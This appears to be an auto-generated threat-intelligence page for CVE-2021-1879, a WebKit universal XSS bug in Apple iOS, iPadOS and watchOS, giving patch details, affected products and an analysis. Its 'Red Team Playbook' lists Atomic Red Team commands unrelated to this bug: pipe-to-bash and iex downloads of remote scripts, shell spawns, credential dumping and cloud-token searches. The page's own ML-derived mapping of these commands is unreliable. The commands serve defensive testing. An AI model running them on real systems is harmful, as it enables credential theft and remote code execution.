CVE-2021-1879
Overview
This vulnerability is a universal cross-site scripting (XSS) flaw rooted in improper management of object lifetimes within the web content processing components of Apple iOS, iPadOS, and watchOS. The flaw arises from inadequate sanitization and lifetime control of objects handling maliciously crafted web content, allowing script injection through the affected browser engine or web rendering component. The vulnerability affects multiple Apple operating systems' web content processing subsystems, including Safari and embedded web views.
Vulnerability Description
This issue was addressed by improved management of object lifetimes. This issue is fixed in iOS 12.5.2, iOS 14.4.2 and iPadOS 14.4.2, watchOS 7.3.3. Processing maliciously crafted web content may lead to universal cross site scripting. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can execute arbitrary scripts in the context of the targeted application or browser without requiring authentication but does require user interaction to load the malicious content. This enables theft of sensitive information such as cookies or session tokens, manipulation of web page content, and potential execution of further attacks leveraging the victim's privileges. The vulnerability can lead to unauthorized access to user data and session hijacking, impacting user privacy and security on affected Apple devices.
Solution
Apple has addressed this vulnerability by improving object lifetime management in affected components. Users should update to iOS 12.5.2, iOS 14.4.2, iPadOS 14.4.2, and watchOS 7.3.3 or later. Detailed patch information and update instructions are available at Apple's official security support pages: https://support.apple.com/en-us/HT212256, https://support.apple.com/en-us/HT212257, and https://support.apple.com/en-us/HT212258.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question relates to a flaw in the management of object lifetimes within specific Apple operating systems. This issue primarily affects iOS, iPadOS, and watchOS platforms, leading to potential exploitation through maliciously crafted web content. The improper handling of object lifetimes can result in memory corruption, which may allow an attacker to execute arbitrary code within the context of the affected application. This can lead to a range of security issues, including unauthorized access to sensitive user data or the manipulation of device functionalities.
Attack vectors for this vulnerability are primarily web-based, where users are tricked into visiting a malicious website or interacting with compromised web content. An attacker could craft a webpage that exploits this flaw, potentially leading to universal cross-site scripting (XSS). Once the user interacts with the malicious content, the attacker could execute scripts that manipulate the user’s session, steal cookies, or redirect users to phishing sites. Additionally, if the attacker can gain control over the device, they may leverage it for further attacks, such as deploying malware or accessing sensitive information stored on the device.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple devices for their operations. The potential for exploitation raises serious concerns about data integrity and user privacy. If an attacker successfully exploits this vulnerability, they could gain access to sensitive corporate data, customer information, or intellectual property. This could lead to financial losses, reputational damage, and legal ramifications, especially if the breach involves personally identifiable information (PII) or other regulated data. Furthermore, the fact that there are reports of active exploitation heightens the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from Apple should be applied as soon as they are released, as these often contain critical fixes for known vulnerabilities. Additionally, employing web filtering solutions can help block access to known malicious sites that may attempt to exploit this flaw. User education is also vital; training employees to recognize phishing attempts and suspicious web content can significantly reduce the risk of exploitation. Finally, organizations should consider employing endpoint protection solutions that can detect anomalous behavior indicative of exploitation attempts, thereby providing an additional layer of defense.
In conclusion, the vulnerability associated with improper object lifetime management in specific Apple operating systems poses a considerable threat to both individual users and organizations. The potential for exploitation through crafted web content underscores the importance of timely updates, user awareness, and robust security measures. By understanding the nature of this vulnerability and implementing comprehensive detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-1879, reflecting a substantial increase in the likelihood of exploitation attempts. This surge, characterized by a rapid upward trend over the past week, indicates growing attacker interest or capability to leverage this vulnerability despite the absence of newly reported exploit techniques. The heightened EPSS score elevates the urgency for defenders to reassess their exposure, as the vulnerability’s exploitation potential now ranks within the upper percentiles of predicted risk. While no direct evidence of widespread active exploitation has emerged, the significant increase in predictive metrics suggests that threat actors may be preparing or conducting targeted campaigns, increasing the overall threat level from medium to a more pronounced risk posture. This development underscores the dynamic nature of the threat landscape surrounding this Apple iOS and iPadOS vulnerability and signals an increased probability of exploitation attempts in the near term.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1879 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212256 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212257 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212258 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1879 |